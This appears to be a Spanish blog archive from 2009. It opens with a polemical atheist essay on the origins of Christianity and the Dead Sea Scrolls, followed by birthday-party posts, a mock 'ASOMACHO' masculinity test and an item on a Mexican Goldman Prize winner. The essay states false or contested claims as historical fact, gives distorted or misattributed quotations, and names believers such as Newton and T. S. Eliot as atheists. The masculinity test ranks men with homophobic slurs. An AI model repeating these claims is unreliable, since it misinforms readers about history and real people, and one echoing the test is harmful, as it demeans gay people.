Jesucristo no vino a este mundo a fundar ninguna iglesia, dado que no era hijo de dios, sino de José, un carpintero viudo lleno de hijos (Eleazar, Cleofás, Matías, Simón y Judas) casado en segundas nupcias con María, con quien procreó otros 5: Jesús, Efraín, Andrés, Ana y Santiago (y 2 mas, José e Isabel según otros historiadores). Esta es la verdad histórica de Jesús, a quien la iglesia ha nombrado Dios; pero eso no lo saben millones de personas que creen lo contrario o hacen como que lo creen, es decir: creen que creen.

Los cristianos creen lo que la iglesia quieren que crean. La iglesia dice que Jesucristo (hijo de dios) vino a fundarla: “Jesucristo eligió 12 apóstoles, los instruyo durante 3 años, les comunicó sus poderes y los envió a predicar el evangelio por todo el mundo” (la iglesia). La iglesia predica que dios envió a su hijo (Jesús) y que este, antes de regresar con su dios-padre, decidió renegar de la religión paterna y fundar otra. ¿Cómo prueba la iglesia que Cristo la fundó?, pues... se remite al evangelio. En una frase del evangelio de San Mateo está la única prueba: “Tu eres Pedro y sobre esta piedra edificare mi iglesia”. Los teólogos dudan que Cristo haya dicho esas palabras y creen que San Pedro se las hizo poner en boca de Cristo para hacerse nombrar su “sucesor”: no olvidar que los evangelios se escribieron 50 años después de la muerte de Cristo. Lo mismo sucede con la pretendida crucifixión al revés de San Pedro: ninguna prueba histórica la demuestra.

Dejémonos mejor de chismes y leyendas, para pasar a la real historia del cristianismo. Por los siglos y siglos, la historia de la humanidad fue escrita bajo los dictados de la iglesia católica romana: la historia que conocemos fue hecha para hacer aparecer a Cristo y a la iglesia como lo máximo y lo único. Solo en los últimos años los historiadores se han liberado de la presión religiosa, para dedicarse “en serio” a la investigación.

Ante las abrumadoras verdades que han salido a la luz, la iglesia ha tenido que reconocer (en 1969) que la mayoría de los llamados “santos” venerados durante siglos, no fueron más que leyenda o dioses romanos rebautizados con nombre cristiano. Así como que la inmensa mayoría de papas “sucesores de San Pedro” no fueron mas que ambiciosos obispos ansiosos de poder, asesinos muchos de ellos, corruptos principitos llenos de hijos bastardos, interesados solo en el trono de los enormes territorios controlados por la “iglesia de Cristo”.

La historia del cristianismo es una historia fraudulenta llena de mentiras, cuentos, falsedades y mitos, utilizados sabiamente para hacer aparecer a la religión cristiana como la única inspirada por dios y a su iglesia como la iglesia de Jesucristo.

Las dudas que los historiadores tenían sobre Cristo y su iglesia tuvieron una inesperada ayuda un día de la primavera de 1947:
Los manuscritos del mar muerto.

Muhamad Eb-Dib, un joven pastor de la tribu ta´amira descubrió sobre la pendiente rocosa que desciende del desierto de Judá al mar muerto, una gruta llena de manuscritos. Los manuscritos eran fragmentos hebreos escritos sobre mal conservadas pieles de cuero, que fueron utilizados por el joven pastor para arreglar unas viejas sandalias, y solo 2 años después uno de sus tíos pensó en llevar a Belén a un anticuario. Así en 1947 unos rollos fueron a parar a Jerusalén, donde los adquirió el profesor Sulenik, de la Universidad Hebrea y otros el metropolitano del Monasterio Sirio-Ortodoxo de San Marcos, Samuel Mar Atanasio.

Los manuscritos fueron hallados en la zona donde predicó y vivió Juan El Bautista, maestro de Jesús, llena de grutas, 11 de las cuales contenían otros manuscritos. Los manuscritos datan, en su gran mayoría, del siglo anterior al nacimiento de Cristo (mas concretamente, el mas antiguo de ellos es de unos 20 años antes de Cristo) y el siglo II después de Cristo. Es decir, los manuscritos deberían ser el testimonio máximo de la vida de Cristo... y así ha sido.

Los manuscritos mas importantes y más completos, se refieren al libro bíblico de Isaías (dos copias), y han aparecido también un comentario al libro de Abacuc, un manual litúrgico llamado regla de la comunidad, que es donde encaja la figura histórica de Jesús, como veremos en seguida.

Los textos ya traducidos, reflejan las ideas de un movimiento religioso autónomo frente al hebraísmo oficial y en oposición a el, donde se habla de la Nueva Alianza, de un “pacto” establecido entre Jehová y un personaje que volvió 100 años antes de Cristo.

La organización requería de sus miembros la practica de varios ritos entre los que destacan: a) el bautismo, b) la confesión de los pecados, c) la eucaristía, o sea el alimento consumido en común en forma de pan y vino. La adhesión a la nueva comunidad implicaba también la renuncia a los bienes privados.

Curiosamente, la traducción real de “Nueva alianza” al latín en Nuevo testamento y la traducción del término hebreo “mashiah” (Mesías) al griego es “jristós” (Cristo). Esto viene al caso, porque a raíz de la derrota final del movimiento hebreo contra los romanos en el año 70 d.C.., los grupos del nuevo testamento y otros que luchaban con las armas en la mano contra el imperio romano, se dispersaron por el mundo y eran llamados precisamente “cristianos”.

Esta es la dirección en que la importancia de los rollos del mar muerto adquieren una fantástica categoría: los manuscritos vienen a ser el eslabón perdido entre los Evangelios y la Biblia. En los pasajes de los rollos se han encontrado nada menos de 500 pasajes comunes a los textos del llamado nuevo testamento. En ellos se habla de un maestro de justicia, mediador entre Dios y los hombres, a quien “la habían sido revelados todos los misterios” y que “había recibido una misión extraordinaria para los hijos de la gracia”. Estamos pues en plena ideología cristiana.

Pero hay mas datos curiosos: entres esos grupos “subversivos” y fanáticos se encuentran varios que coinciden con los nombres que recibieron Cristo y sus discípulos en los evangelios: los esenios, los celotas, los nazarenos, los galileos, los mandeos y otros. A uno de los discípulos de Cristo se le llama en los primeros textos cristianos del siglo II, “Simón el Celota”. ¿Qué se podría concluir de todo esto?.

Una hipótesis que parece ser las mas aceptada por teólogos e historiadores de todo el mundo es la siguiente:

Jesús (hijo de José y María y no del espíritu santo) perteneció desde su juventud a una de esas sectas. Por ello fue bautizado por Juan El Bautista, dedicándose los últimos años de su vida a la agitación contra los jerarcas hebreos (fariseos y saduceos) que se habían plegado al dominio romano. Denunciado por los mismos hebreos al gobierno virreinal romano, fue juzgado, sentenciado a muerte y crucificado (tal como el maestro de justicia de los rollos), aunque no se haya aparecido a sus doce discípulos, como según el rollo ocurrió con el Maestro. Posteriormente, sus compañeros prosiguieron en su lucha y se dispersaron cuando Roma acabó con Jerusalén, creándose la leyenda del Mesías que se convirtió 3 siglos mas tarde en el “cristianismo”.

Todo coincide con esta versión: la historia, la lógica y el sentido común y científico. Lo demás es pura y celestial TEOLOGIA, es decir inventos píos de la Santa Madre Iglesia Católica.

Así la figura de Cristo (guerrillero a su modo contra la dominación imperialista) fue transformada nada menos que en “hijo de Dios” y explotada bien y bonito desde hace 18 siglos por Roma y sucursales. Pero frente a la farsa religiosa enemiga de la verdad, la ciencia y el progreso de la humanidad (¡Que frase!), el hombre siempre ha luchado aun a costa de su vida, por descubrir la verdad y por vencer el oscurantismo religioso.

La historia del pensamiento del hombre es por ello la historia y el triunfo del ateismo.

6. Cogito, ergo sum

Pensar ha sido fácil para el hombre, no así dar a conocer su pensamiento. La llegada del cristianismo como religión oficial del estado (en este caso, del imperio romano), acabó con la tolerancia hacia quienes creían en otros dioses (o no creían en ninguno).

Desde sus inicios, el papado se constituyo en un feroz perseguidor de los “herejes, infieles y ateos”, que ponían en duda a Jesucristo como hijo de dios y a la iglesia como su representante. Por siglos y siglos, la iglesia obligó a la gente a creer en sus doctrinas, bajo pena de muerte(y de pilón, infierno en la otra vida). Quien se atrevía a dudar de las enseñanzas del papa, se las tenía que ver con la santísima inquisición (cristiana of course). No pensar, era garantía de seguir con vida (y lleno de fe).

De 1481 a 1808, solo en España, la santa inquisición quemó vivos a 32,472 por cuestiones de religión (sin contar las victimas de Holanda, Francia, Italia o las indias), todo en nombre de Jesucristo En Alemania solo, de 1450 a 1550, mas de 100,000 mujeres fueron muertas por la iglesia por herejes y brujas. ¿Cuántos millones de seres humanos murieron durante la conquista de América al defenderse del cristianismo invasor?, ¿Cuántos otros millones de infieles cayeron bajo la implacable y cristiana espada de las cruzadas?. Y no olvidar que la iglesia católica fue la madre inventora de antisemitismo, siendo Hitler sólo un modesto discípulo seguidor de las enseñanzas de Roma. ¿Quién mató mas judíos: la iglesia católica o Hitler?. Hijos predilectos de dios (según la Biblia), los judíos cayeron de la gracia de su hijo (dijo la iglesia) y durante 19 siglos fueron perseguidos y asesinados por los católicos y demás cristianos (por no creer en Jesús como dios); y por lo mismo murieron miles de africanos, asiáticos, australianos, árabes, latinos y demás infieles: por falta de fe en el nuevo dios de los blancos.

Hablando de Hitler es necesario saber que el paranoico sujeto era católico, que nunca dejo la iglesia, que nunca fue excomulgado y que su libro “mein kampf” (mi lucha), ¡Nunca fue puesto en el index de los libros prohibidos por el vaticano!. “Necesitamos soldados obedientes, por ello no me opongo a que se siga enseñando la religión en las escuelas de Polonia”, dijo Hitler a la jerarquía católica polaca. Y no olvidar que las iglesias apoyaron oficialmente a Hitler en su campaña de exterminio de judíos y “rojos”. Por el contrario cuando algún conquistador misionero y “propagador de la fe” caía muerto a manos de los infieles, la iglesia lo declaraba santo y lo ingresaba a la lista de nuevos dioses a adorar y por quien seguir matando (al cien por uno) mas herejes, infieles y ateos. Ejemplo actual de ello en México es el hecho de que en este momento ya se llevo a cabo la beatificación de un par de indios, los llamados mártires de Oaxaca, los cuales serian beatificados debido a su “gloriosa y santa acción” de ir con el chisme de que sus compañeros indios estaban efectuando ritos de sus propios dioses, enfurecido el pueblo entero los mato creo que a madrazos y machetazos (por chivas).

De entre esos millones de muertos “por no creer” he escogido algunos testimonios. También de algunos que sin morir a manos de la fe, prefirieron pensar a creer (así como yo).

Una breve Antología del Ateismo

§ Napoleón Bonaparte.- “¿Como se puede tener orden en un estado sin religión? La religión es un formidable medio para tener quieta a la gente...”.

§ Mark Twain.- “Si Cristo volviera, seria todo... menos cristiano”.

§ Henryk Ibsen.- “De chico creí en Dios, pero en cuanto logré unir dos pensamientos, se me olvido que existía. Creo que dios es una necesidad para mucha gente, lo que no demuestra que exista”.

§ Santo Tomas de Aquino.- “No es evidente que Dios exista”.

§ Abraham Lincoln.- “Mis primeras ideas sobre lo irrazonable del método cristiano de salvación y sobre el origen humano de las escrituras no han cambiado al paso de los años, ni creo que cambiaran”.

§ Carlos Marx.- “La miseria religiosa es, por una parte, la expresión de la miseria real y por la otra la protesta contra la miseria real. La religión es el suspiro de una criatura oprimida, el corazón de un mundo sin corazón, así como el espíritu de una situación carente de espíritu. La religión es el opio del pueblo. La abolición de la religión en cuanto dicha ilusoria del pueblo, es necesaria para su dicha real”.

§ Engels.- “La religión no es otra cosa que el reflejo fantástico que proyectan en la cabeza de los hombres aquellas fuerzas externas que gobiernan su vida diaria, un reflejo en que las fuerzas terrenales revisten la forma de poderes sobrenaturales”.

§ H. G. Wells.- “Toda religión es un insulto a la dignidad mental del hombre, pero principalmente la religión católica, que ha elaborado dogmas contrarios a la razón humana”. “La iglesia católica es lo mas hostil que hay contra la libertad del hombre y la estimulación del bien: el mejor sistema organizado de la aberración y el prejuicio, la estupidez y la falacia. Yo creo que la religión católica es el enemigo número uno de la humanidad pensante”.

§ Miguel de Unamuno.- ¿Dios es macho o hembra?.

§ Adolfo Hitler.- “El cristianismo es una religión para esclavos y tontos”.

§ Bertrand Russell.- “Estoy persuadido de que Dios no creó al mundo, pero sí de que el mundo esta creando a Dios?”.

§ Fiodor Dostoyevsky.- “Si tuviera necesidad de vivir muy tranquilo, sin preocuparme de la desgracia ajena, creería en Dios, pues así tendría la seguridad de que él se ocuparía de resolver las desgracias humanas, Desgraciadamente la misma existencia de la desgracia humana, de la injusticia y el dolo, me dicen que no hay tal Dios”.

§ John Adams.- “Este mundo sería el mejor de todos los mundos posibles si no hubiera ninguna religión”.

§ Imanuel Kant.- “la razón pura no puede probar la existencia de Dios”.

§ Galileo.- “Contra todas las apariencias, en las que por otra parte estén todos aparentemente de acuerdo, avanzamos guiados por la razón. Y la razón nos pide pruebas que tarde o temprano, van y acaban con las apariencias. Bien lo dice el dicho popular las apariencias engañan, la razón no engaña, pero es difícil que se imponga a las apariencias”.

§ Pierre Bayle.- “Yo no puedo ser religioso ni creer en Dios. Prefiero la filosofía a la religión, pues no puedo poseer al mismo tiempo lo evidente y lo incomprensible”.

§ Jhon Milton.- “Lo que me ha puesto a pensar en lo falso de la religión cristiana, es su nula tolerancia hacia las otras religiones. Dado que los dogmas cristianos no pueden ser tomados como la verdad, cualquier otra doctrina religiosa distinta a la oficial debería tener el mismo derecho a existir y practicarse, si así lo desearan los hombres”.

§ Thomas Jefferson.- “Millones de seres humanos inocentes, hombres, mujeres y niños, desde la introducción del cristianismo, han sido torturados, asesinados, quemados, puestos en prisión, y sin embargo no hemos avanzado ni una pulgada hacia el consenso general. ¿Cuál ha sido el efecto de obligar a la gente a creer? Que la mitad de l humanidad vive engañada y la otra mitad vive en la hipocresía, con tal de que el error y la mentira no desaparezcan del mundo”.

§ Sigmun Freud.-“Los sentimientos de amor y temor de dios, no tienen su origen en Dios, sino en los seres humanos. Son sentimientos de frustración dirigidos por el hombre a un ser imaginario que pretende sea su padre”.

§ Thomas Mann.- “Si pensáramos que dios está al pendiente de la Tierra y sus habitantes, que se preocupa porque se respeten sus leyes y se haga su voluntad, debemos llegar a la conclusión de que Dios has sido derrotado por los hombres, ya que en la Tierra nadie hace su voluntad, ni respeta sus leyes. Creo que el hombre se ha creado un Dios absurdo, es decir a su imagen y semejanza...”.

§ Thomas Paine.- “No creo en lo que enseña la iglesia judía, ni la iglesia de Roma, ni la turca, ni la iglesia de los protestantes, ni ninguna iglesia de las conocidas. Mi mente es mi única iglesia. Todas las religiones no son otra cosa que invenciones humanas para aterrorizar y mantener esclava a la humanidad y monopolizar el poder y el dinero”.

§ Lenin.- “Dios es, histórica y cotidianamente, sobre todo, un complejo de ideas generadas por la bestialización del hombre y por la naturaleza que lo rodea, así como por el yugo de clase; ideas que sirven para afianzar la opresión y adormecer la lucha de clases. La impotencia de las clases explotadas en su lucha contra los explotadores, engendra la fe en una vida mejor mas allá de la muerte, tan inevitable como la impotencia en su lucha del salvaje contra la naturaleza engendra la fe en los dioses, los demonios, los milagros, etc. A aquel que trabaja y padece miseria toda su vida, la religión le enseña a ser humilde y resignado en la vida terrenal y a reconfortarse en el esperanza del premio celestial”.

§ David Hume.- “Considerando imposible demostrar la existencia de Dios y de las vivencias religiosas, me inclino porque se utilice sin embargo la predicación de la moral religiosa en el pueblo, pese a que siglos de predicación no hayan dado mucho resultado positivo”.

§ Montaigne.- “Si los milagros existen, es solo porque nos conocemos bastante la naturaleza y no porque sean auténticos o verídicos...”.

§ Maximo Gorki.- “La búsqueda de dios es una ocupación inútil, pues no hay nada que buscar donde nada existe. A los dioses no se les busca: se les crea...”.

§ Tomas A. Edison.- “La religión como se concibe en nuestros días, es una maldita farsa. Mi mente es incapaz de concebir una cosa tan absurda como la existencia del alma. No lo puedo creer simplemente...”.

§ San Ignacio de Loyola.- “Debemos estar siempre dispuestos a creer que lo blanco es negro, si así lo manda la jerarquía de la Santa Madre Iglesia...”.

§ Clarence Darrow.- “Creo que la religión es la creencia en Dios y la otra vida. Yo no creo en Dios igual que no creo en la Mother Goose...”.

§ Charles Chaplin.- “Por simple sentido común no creo en dios, en ninguno”.

§ Balzac.- “Podría existir un Dios, justo, noble, bondadoso e interesado en la humanidad, si así decidiéramos crearlo los hombres. Pero no nos serviría de nada: seria un dios idealizado, no humanizado”.

§ Bertolt Brech.- “Todos los individuos, en toda situación, bajo todos los cielos y con todas las filosofías, se esfuerzan obstinada e insistentemente en engañarse a sí mismos. Según su inteligencia, sus intentos eran mas bien débiles o más torpes; algunos no lo lograban consigo mismos, pero si con los demás; en tanto que a otros les ocurría inversamente. Pero siempre parecían los impulsos demasiado débiles para triunfar sin santificación. Cuando la masa hormigueante de los seres en el astro volante se hubo conocido y experimentado, su incomprensible abandono había inventado sudando a Dios, a quien nadie veía, de modo que ninguno pudiera decir que no lo había o que no lo había visto...”.

§ Heine.- “Dejemos el paraíso a los ángeles y a los tontos”.
§ Albert Einsten.- “No puedo imaginarme a un dios que premia y castiga a los objetos de su creación, cuyos propósitos han sido modelados bajo el suyo propio; un Dios (para acabar pronto) que no es más que el reflejo de la debilidad humana. Tampoco creo que el individuo sobreviva a la muerte de su cuerpo: esos pensamientos no son más que pensamientos de miedo o egoísmo de lo mas ridículo...”.

§ H. L. Mencken.- “Yo creo que la religión, cualquier religión, no es mas que un estorbo para la humanidad. La fe en un dios tonto, es únicamente para tontos que no saben hacer uso de la razón”.

§ Laplace.- “Yo afortunada-mente no tengo necesidad de creer en dios”.

¿Quienes mas han sido ateos?, Newton, Darwin, Goethe, Maquiavelo, Ralph Waldo Emerson, Josep Conrad, Walt Whitman, Poe, Jung, Rabelais, Voltaire, Marcel Proust, Lord Byron, Jean Cocteau, Andre Malraux, Rosa Luxemburgo, Chejov, Pavlov, William Faulkner, Juan Monet de Lamark, Benjamin Franklin, Omar Khayam, Francis Bacon, John Dewey, Albert Schwitzer, Spinoza, Schopenhauer, Miguel Servetius, Havelock, Ellis, Aldous Huxley, Camus, Nietzsche, Herbert Spencer, Giordano Bruno, Ionesco, Jean Genet, Maiakovski, Wilhelm Reich, James Joyce, Arthur Miller, Pablo Picasso, Ingmar Bergman, Diego Rivera, Isadora Duncan, Stravinsky, Matisse, el Bosco, Paul Gauguin, Arnold Tonybee, J. Jacobo Rosseau, Proust, Sartre, el Nigromante, Rabelais, Emil Zolá, Benito Juárez, José Marti, Gramsci, Simone de Beauvoir, Bernard Shaw, Orwell, Harold Pinter, Franz Kafka, Bakunin, Ernest Hemingway, T. S. Elliot, Charles Lindenbergh...
Protectora de la ignorancia y el fanatismo (¿No organiza la iglesia procesiones para que llueva?), la iglesia que se auto llama cristiana ha sido y es la peor enemiga de las ideas, de la justicia y la libertad del ser humano. ¿No se opone la iglesia, aún hoy al divorcio y al control natal?. Fomentadora y explotadora del “temor” a la ira de los dioses, la religión como parte sustancial del capitalismo explotador del hombre va en retirada. Solo cuando la santísima trinidad que por siglos ha regido al mundo (Capital, religión y militarismo), desaparezca como poder, el mundo será libre.

La iglesia “lamenta” que el hombre negando a Dios, intente valerse únicamente por sí mismo. Esa postura constituye precisamente la gloria suprema del hombre, la esencia fundamental de la naturaleza humana: el hombre sostenido por sí mismo”.

7. BIBLIOGRAFIAS

- Ambrogio Donini “Historia De las religiones” Editorial Política - La Habana, 1963

-P. Hillaire “La religión demostrada” Editorial difusión - Buenos aires, 1943

- Joachim kahl “The misery of christianity” Pelikan book – London, 1971

- E. Wilson “Los rollos del mar muerto” Fondo de cultura económica – México, 1960
- Kurt Schubert “La comunidad del mar muerto”UTEHA – México, 1961

- Bertrand Russell “Por que no soy cristiano”Hermes – México, 1965

-J. Needham “Ciencia, religión y socialismo” Crítica Grijalbo - Barcelona, 1978

- Bertrand Russell “Religión y Ciencia” Fondo de cultura económica – México, 1951

- Robert g. Ingersoll “A few reasons for doubting the inspiration of the bible” American Atheists, inc – Austin Texas, 1976

VINCULOS

http://ateismo.ws/ El canal #ateismo en DALnet fué fundado con el objetivo de formar un lugar virtual donde se pueda mantener conversaciones inteligentes. El arte de debatir ha sido durante cientos de años, una forma de ejercitar las deducciones lógicas, el razonamiento, y por ende se presta a ser el método de impulsar el conocimiento. Así que para obtener nuestra meta escogimos formar el primer (si no el único) canal de debates en castellano en DALnet.

www.casalibertad.org/ Aqui encontrarás política, filosofía, cultura, ateísmo, sexo, arte, documentos chistosos... cómo estudiar, ligar, superar los problemas... y, sobre todo, mucha Libertad.

http://www3.gratisweb.com/ateismo/ Ésta es una página de ateísmo militante dedicada a desechar las creencias.

http://www.geocities.com/finis_stellae/sp/lp/ciencia-y-religion.html Ésta es una página con comentarios sobre la religión, la ciencia, y cómo la gente reacciona a ellas, con énfasis en su oposición, los extremismos de ambos lados, y los que están en medio.

http://www.angelfire.com/az/ateismo/ Bienvenido a "El ateísmo en la red", un recurso compartido para ateos, agnósticos y librepensadores en la Internet.

http://www.angelfire.com/ego/pdf/sp/lp/ateo.html Sitio sobre ateísmo en la práctica, discriminación religiosa, etc., con una sección de e-mails seleccionados de lectores.

http://www.geocities.com/mabusdogma/index.html Esta es una página web creada y diseñada por un ateo, aunque está abierta al público en general, en ella expongo esta elección propia con sus razones, conveniencias, e incluso, inconveniencias; no está creada específicamente para un convencimiento sistemático de las masas sobre la inexistencia de Dios, es más un intento de reflexión personal en cada uno de nosotros sobre lo que creemos y lo que deberíamos creer.

prueba

2009-06-28T23:57:00.000-05:00

24 Añotes =P

2009-06-23T18:20:00.004-05:00

Ahora si estoy viejooo!!

PS ya por fin paso el dia de mi cumpleaños y ps aunque pocos amigos estuvieron ahi fue una noche muy padre con considerable cantidad de alcohol y muchas cosas como "Paulina Rubio metaaaalll!!!! wwaaaa!!" y "Metal Vegetariano Progresivo tracatracatraca!!" xD

Ahora que ya paso, solo falta la fiesta grande con mas alcohol, metal, y borrachos y que aunque en otro post puse que iba a ser a las 4:00 PM ahora ha cambiado el horario y va a ser despues de las 6:00 PM y sera en una cabaña de Rocha que los que no saben como llegar nomas preguntan por "Las Cabañs de La Esperanza" (igual aqui les pongo el mapa de nuevo)

El que no sepa como llegar ps me puede hablar a mi cel para que vaya por el/ella.

Acuerdense que el pase de entrada es un buen pomo o coperacha para que no tengamos que estar saliendo a cada rato ya que esta lejos un lugar donde comprar alcohol y ps perderiamos muchos valiosos minutos en ir a comprar....

Tambien que no se les olvide que A menos que yo los haya invitado o le haya dicho a alguien que les dijera, no van a poder entrar y me voy a ver forzado a mandarlos a la chingada, como a citlally que no esta invitada xD!

Pues bien, los espero el 27 de Junio, despues de las 6:00 PM en la cabaña y ps ya nomas siguen el camino amarillo xD, eso es en caso de que no puedan comunicarce a mi cel.

P.D: Solo alcohol y cigarros de tabaco, no se permiten drogas y menos marihuana porque esa madre nomas con olerla me da dolor de cabeza.

Consejo Directivo ASOMACHO

2009-06-15T18:45:00.001-05:00

CONSEJO DIRECTIVO ASOMACHO
ACTA
001 de 2009

El consejo directivo de ASOMACHO, en plenas facultades legislativas y considerando:

1. Ante el evidente mariconeamiento generalizado de la sociedad en la
que vivimos.

2.Ante la aparición de vocablos como metro sexuales u homogay,
términos que no hacen otra cosa que desdibujar los límites entre el
buen macho y el maricón generalizado.

3.Ante los cada vez más tolerados ¡y consumidos! Tratamientos de
belleza masculina.

4. Ante el aparente e inminente triunfo de los cuerpos lampiños, de
las barrigas planas y los cutis no-grasos.

DECRETA:

Por todo esto y mucho más, Asomacho ha desarrollado el test que en
este momento tiene usted delante, un material de incalculable valor
que debe estar siempre en el bolsillo de cualquier asomachista que se
precie y de cualquier nena que suspire por nosotros los varones de
exportación y que nos servirá para dar claridad y orden a una sociedad
que nos aísla y discrimina.

REGALOS QUE PREFIERE RECIBIR

Una botella de ron, aguardiente o whiskey .....(MACHO)

Una prenda de vestir............. ...............(RARITO)

Dulces, bombones, etc............................(PARCHA)
Flores y/o perfumes..............................(MARICÓN)

USO DE CREMAS Y BRONCEADORES
No usa...........................................(MACHOTE)
Usa sólo un poco en no.......................(AMANERADO)
Usa bastante en verano......................(MARIQUITA)
Usa abundante todo el año......................(PATO)

PEINADO
No se peina..................................(BRAVO)
Se peina después de ducharse...........(HOMBRECITO)

Se peina varias veces por día...........(MARIQUITA)

Usa gel, fijadores y secadores.....(HOMOGAY METROSEXUAL)

Peina a otros y aconseja................(MARICONAZO!!!)

LIMPIEZA DOMICILIARIA
Barre sólo cuando siente el crujir de sedimentos bajo sus zapatos....(VARON)
Barre cuando ve mugre...(DEJA MUCHAS DUDAS)

Limpia con agua y detergente......(ES UN MARICA)

Limpia con agua, detergente y aromatizante.......(MARIPOSA)

DEPORTES PREFERIDOS
Fútbol, béisbol, básquet, boxeo, formula1, boliche..(MACHO DE PELO EN PECHO)
Tenis, ping-pong, voleibol.......(BIEN, PERO HAY QUE VIGILARLO)
Aeróbic, spinning...........................(LOCA)
Lo mismo, pero con sudadera de lycra ............(MARICONAZO)

COMIDAS PREFERIDAS
Cerdo, Lapa, grandes animales asados, guisos picantes...(TARZÁN)
Pescado y ensalada para no engordar....(SOSPECHOSAMENTE SENSIBLE)
Sándwiches integrales, consomés......... (MARICON)

Aves acompañadas con vegetales al vapor....(NENA ARREBATADA)

BEBIDAS PREFERIDAS
Guaro, cerveza, ron, tequila, whiskey.................VARÓN)
Refrescos y limonadas.................(SE LE MOJA LA CANOA)

Jugos de frutas y licores muy dulces sin alcohol...(MARIPOSON IRREDIMIBLE)

BAILE

Suavecitas, vallenato y boleros (para brillar la hebilla)......(ALMIRANTE)
Música dance , rock, y brindando espectáculo.............(MUY RARITO)
Bailarín de toda la noche..............(PARGO ROSADO MARIQUITA)

ASEO PERSONAL
Se ducha en 5 minutos, con jabón y lava sus calzoncillos.......(LEGIONARIO)
Se baña rápido con champú pero sin tocarse el trasero.....(VARON)

Se baña durante más de 30 minutos con jabón líquido......(MARICA)

Se baña con sales y espuma en la bañera....(LOCA DESAFORADA!!!)

CERVEZA
Helada y en grandes cantidades..........(SUPER MACHO)

Sólo una para el calor..................(MEDIO MARICON)

Con limón (michelada)........................(MARICON)
Sin alcohol................................(SUPER MARICÓN)

La Junta Directiva en pleno.

ASOMACHO

Otro Año mas viejo xD

2009-06-04T11:47:00.005-05:00

Pues bien, estoy a punto de cumplir un añote mas de vida y que mejor que celebrarlo como siempre lo hago: Cun una borrachera marca lloraras xD!!
Este año será en La Cabaña The Hope (La de rocha pa los que lo conocen) donde antes nos ibamos de briagos con la desintegrada banda internacionalmente famosa Alkitran, solo que este año estara acompañandonos una excelente banda llamada Long Play la cual iniciara su gira con nosotros, tocaran buena musica haciendo covers de black label society, led zeppelin, deep purple, etc. aparte tocaran rolas propias que la neta no he escuchado pero conociendolos espero mucho de ellos.

Aparte de la buena musica esperamos que este año se repita la tradicion de 1 pomo por año sin contar los clasicos garrafones de agua loca y las chelitas "pal calor"
o El famoso Xico en llamas que ha causado sensacion en la comunidad borracha. Aparte del alcohol ps tambien se antoja algo de comer y ps a ver si nos podemos aventar unas carnes al carbon en la tardesita, eso si, el que no llegue a tiempo ya valo y no le toca ni madres, solo alcohol (como si les iportara...).

Bueno el chiste es que espero que este año todos puedan estar celebrando conmigo un largo año mas de vida divirtiendonos en compañia de unas buenas botellas, buena musica y sobre todo unos buenos amigos.

La fiesta va a ser a partir de las 4 pm, pensaba hacerla desde temprano pero ps es un pedote conseguir las cosas y muchos no pueden porque trabajan medio dia, se agradecera su cooperacion con alcohol y cigarros o coperacha por lo menos. Voy a poner un mapa (mañana) de como llegar a la cabaña que està en xico para los que no saben o no se acuerdan como llegar.

Espero verlos todos ahi y acuerdense que paa evitar pedos este año solo van los que yo haya invitado o dije a alguien mas que los invitara, asi me evitan la pena de no dejar pasar a los colados, como el año pasado algunos recordaran a los pendejos amigos de chero que todavia me dijer que quien madres era yo estando en mi casa ¬¬.... Pero bueno, entonces ya saben que el 27 de Junio a las 4:00 PM los espero para otro buen cotorreo.

From ZeroProject News o.O

Atte: El Migue

Noticia que da gusto publicar

2009-05-29T21:42:00.003-05:00

Pocos lo saben, pero existe un premio tipo "Nobel" de Ecología.

Este año lo ha ganado Jesús León Santos, de 42 años, un agricultor mixteco (México) que lleva realizando, en los últimos 25 años, un excepcional trabajo de reforestación en su región de Oaxaca, México.

El nombre de la recompensa es "Premio Ambiental Goldman" (www.goldmanprize.org/theprize/about_espanol).

Fue creado en 1990 por dos generosos filántropos y activistas cívicos estadounidenses Richard N. Goldman y su esposa Rhoda H. Goldman.
Consta de una dotación de 150.000 USD ($2,154,000 M.N.) y se entrega cada año, en el mes de abril, en la ciudad de San Francisco, California (Estados Unidos). Hasta ahora ha sido otorgado a defensores del medio ambiente de 72 países. En 1991, lo ganó la kenyana Wangari Maathai, quien luego obtuvo el Premio Nobel de la Paz en 2004.

Jesús León Santos lo recibió porque, cuando tenía 18 años, decidió cambiar el paisaje donde vivía en la Mixteca Alta, la "tierra del sol". Aquello parecía un panorama lunar: campos yermos y polvorientos, desprovistos de arboleda, sin agua y sin frutos. Había que recorrer grandes distancias en busca de agua y de leña. Casi todos los jóvenes emigraban para nunca regresar, huyendo de semejantes páramos y de esa vida tan dura.

Con otros comuneros del lugar, Jesús León Santos se fijó el objetivo de reverdecer los campos. Y decidió recurrir a unas técnicas agrícolas precolombinas que le enseñaron unos amigos mayas de Guatemala para convertir tierras áridas en zonas de cultivo y arboladas.

¿Cómo llevar el proyecto de rescate de las tierras ancestrales a cabo? Haciendo revivir una herramienta tradicional también olvidada: El tequio, el trabajo comunitario no remunerado. Reunió nada menos que a unas 400 familias de 12 municipios, creó el Centro de Desarrollo Integral Campesino de la Mixteca (Cedicam), y juntos, con recursos económicos limitadísimos, se lanzaron en la gran batalla contra la principal culpable del deterioro: la erosión.

En esa región de la Mixteca existen más de 50.000 hectáreas que han perdido unos cinco metros de altura de suelo desde el siglo XVI. La cría intensiva de cabras, el sobre pastoreo, el uso del arado de hierro y la industria de producción de cal que establecieron les españoles durante la Colonia deterioraron la zona. Los españoles y sus descendientes intensificaron de depredación con la tala intensiva de árboles para la construcción de sus imponentes templos dominicos. El saqueo de la zona a partir de la Conquista contribuyó definitivamente a la desertificación.

Jesús León Santos reclutó a varios familiares y amigos y juntos, impulsaron un programa de reforestación.
A pico y pala cavaron zanjas-trincheras para retener el agua de las escasas lluvias, sembraron árboles en pequeños viveros, trajeron abono y plantaron barreras vivas para impedir la huida de la tierra fértil.

Todo eso favoreció la recarga del acuífero. Luego, en un esfuerzo titánico, plantaron alrededor de ¡¡cuatro millones de árboles!! de especies nativas, aclimatadas al calor y sobrias en la absorción de agua.
Después se fijaron la meta de conseguir, para las comunidades vecinas, la soberanía alimentaria.

Desarrollaron un sistema de agricultura sostenible y orgánica, sin uso de pesticidas, gracias al rescate y conservación de las semillas nativas del maíz, cereal originario de esta región. Sembrando sobre todo una variedad muy propia de la zona, el cajete, que es de las más resistentes a la sequía.

Se planta entre febrero y marzo, que es allí la época mas seca del año, con muy poca humedad en el suelo, pero cuando llegan las lluvias crece rápidamente. Al cabo de un cuarto de siglo, el milagro se ha producido. Hoy la Mixteca Alta esta restaurada. Ha vuelto a reverdecer. Han surgido manantiales con más agua. Hay árboles y alimentos.

¡Y la gente ya no emigra!
